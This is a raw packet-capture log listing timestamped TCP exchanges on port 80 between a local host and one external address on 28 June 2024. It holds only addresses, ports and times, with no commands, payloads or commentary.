Jun 28, 2024 13:35:59.854348898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.862410069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.862453938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.862457991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.862468958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.862492085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.862517118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.862525940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.862536907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.862564087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.862593889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.862617970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.862631083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.862658978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.862689972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.862704039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.862715006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.862730980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.862741947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.862751961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.862760067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.862760067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.862780094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.862803936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.862926006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.862935066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.862945080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.862967014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.862992048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.863001108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.863012075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.863022089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.863033056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.863042116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.863044977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.863053083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.863061905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.863084078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.863241911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.863254070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.863303900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.863305092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.863315105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.863325119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.863334894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.863336086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.863346100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.863356113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.863360882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.863379955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.863408089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.870126963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.870155096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.870165110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.870176077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.870215893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.870215893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.870290995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.870302916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.870311975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.870321989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.870340109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.870340109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.870372057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.870398998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.870440960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.870470047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.870481014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.870491982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.870502949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.870510101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.870542049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.870542049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.870651960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.870661974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.870697975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.870754957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.870765924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.870774984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.870785952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.870795965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.870803118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.870806932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.870816946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.870822906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.870826960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.870839119 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.870861053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.871011972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871022940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871084929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.871104956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871115923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871126890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871138096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871143103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.871146917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871162891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871164083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.871174097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871182919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871206045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.871206045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.871237040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.871521950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871532917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871543884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871555090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871563911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871570110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.871573925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871584892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871588945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.871594906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871606112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871608973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.871617079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871625900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.871644020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.871673107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.871823072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871834040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871843100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871865034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.871895075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.871951103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871963024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871970892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871984005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871993065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.871994972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.872003078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872018099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.872021914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872037888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872041941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.872047901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872056961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872065067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.872066021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872076988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872087002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872091055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.872096062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872106075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872116089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872121096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.872126102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872137070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872138023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.872148037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872158051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872157097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.872167110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872198105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.872198105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.872669935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872680902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872714996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.872879028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872889042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872899055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872909069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872916937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872921944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.872930050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.872961044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.872961044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.936631918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.936686039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.936697006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.936758995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.936764956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.936777115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.936758995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.936863899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.936863899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.936882973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.936894894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.936906099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.936918020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.936937094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.944495916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.944520950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.944531918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.944574118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.944606066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.944629908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.944641113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.944650888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.944662094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.944669962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.944700003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.944729090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.952841997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.952853918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.952864885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.952903032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.952915907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.952924967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.952927113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.952965975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.952965975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.953110933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953140974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953151941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953159094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.953192949 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.953192949 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.953315973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953325987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953337908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953350067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953358889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.953388929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.953478098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953502893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953512907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953521013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.953522921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953533888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953541994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.953543901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953556061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953558922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.953566074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953577042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953599930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.953599930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.953632116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.953784943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953804970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953855991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.953895092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953907967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953919888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953931093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953942060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.953944921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.953969955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.953999996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.960395098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.960437059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.960448027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.960494041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.960494041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.960542917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.960553885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.960562944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.960573912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.960587025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.960608959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.960638046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.960668087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.960690975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.960700989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.960707903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.960726023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.960746050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.960751057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.960762978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.960768938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.960777998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.960804939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.960849047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.960969925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.960980892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961004019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961016893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961020947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.961028099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961039066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961039066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.961049080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961067915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.961095095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.961246967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961256981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961267948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961293936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.961296082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961308002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961314917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.961318016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961329937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961335897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.961339951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961354971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.961371899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.961539030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961549997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961568117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961582899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961591005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.961592913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961602926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961611986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.961613894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961623907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961631060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.961659908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.961821079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961832047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961841106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961850882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961877108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.961877108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.961909056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.961941957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961961985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961977005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961987972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.961997986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.962007046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.962007046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.962008953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.962007046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.962019920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.962030888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.962040901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.962042093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.962040901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.962052107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.962060928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.962081909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.962100983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.962413073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.962424040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.962435007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.962445974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.962456942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.962460995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.962466955 CEST	80	49705	85.28.47.4	192.168.2.5
